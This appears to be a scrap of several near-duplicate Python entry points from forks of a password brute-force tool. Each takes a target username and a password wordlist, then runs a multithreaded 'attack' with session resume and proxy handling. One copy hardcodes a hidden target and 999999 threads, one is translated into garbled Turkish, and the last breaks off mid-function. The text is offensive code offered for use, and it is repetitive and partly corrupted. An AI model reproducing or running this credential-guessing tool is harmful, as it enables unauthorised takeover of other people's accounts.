def main(): # assign arugments args = ArgumentParser() args.add_argument('username', help='email or username') args.add_argument('wordlist', help='password list') args.add_argument('threads', help='password per seconds. Any number <= 16') args = args.parse_args() if not exists(args.wordlist): exit('[!] Unable to locate `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!] Threads must be a number') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() finally: if not engine.isFound: engine.display(engine.pwd) print('\n[!] Exiting ...') engine.stop()
def main(): username = "******" wordlist = "password_9.txt" threads = "999999" # assign variables engine = Bruter(username.title(), int(threads), wordlist) session = Session(username.title(), wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] Exiting ...'.format('' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] Password not found') sleep(1.5) engine.stop()
def main(): # assign arugments args = ArgumentParser() args.add_argument('Username', help='email or username') args.add_argument('wordlist', help='password list') args.add_argument('threads', help='password per seconds. Any number <= 16') args = args.parse_args() if not exists(args.wordlist): exit('[!] Unable to locate WordList `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!] Threads must be a number') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split( )[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] Exiting ...'.format( '' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] Password not found') sleep(1.5) engine.stop()
def main(): # assign arugments args = ArgumentParser() args.add_argument('kullanýcý adý', help='email VEYA kullanýcý adý') args.add_argument('wordlist', help='þifre listesi') args.add_argument('denenenler', help='saniye baþýna þifre. Herhangi bir numara <= 16') args = args.parse_args() if not exists(args.wordlist): exit('[!] Bulunamadý `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!]Konular bir sayý olmalýdýr ') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input( 'attack ý baþlatmak istermisin? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack try: engine.start() except KeyboardInterrupt: engine.user_abort = True finally: if all([engine.spyder.proxy_info, not engine.isFound]): engine.display(engine.pwd) if all([not engine.read, engine.user_abort, not engine.isFound]): print('{}[!] çýkýlýyor ...'.format( '' if not engine.spyder.proxy_info else '\n')) if all([engine.read, not engine.isFound]): print('\n[*] þifre bulunamadý') sleep(1.5) engine.stop()
exit('[!] Unable to locate `{}`'.format(args.wordlist)) if not args.threads.isdigit(): exit('[!] Threads must be a number') # assign variables engine = Bruter(args.username.title(), int(args.threads), args.wordlist) session = Session(args.username.title(), args.wordlist) if session.exists(): if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y': data = session.read() if data: engine.attempts = int(data['attempts']) engine.passlist.queue = eval(data['queue']) engine.retrieve = True # start attack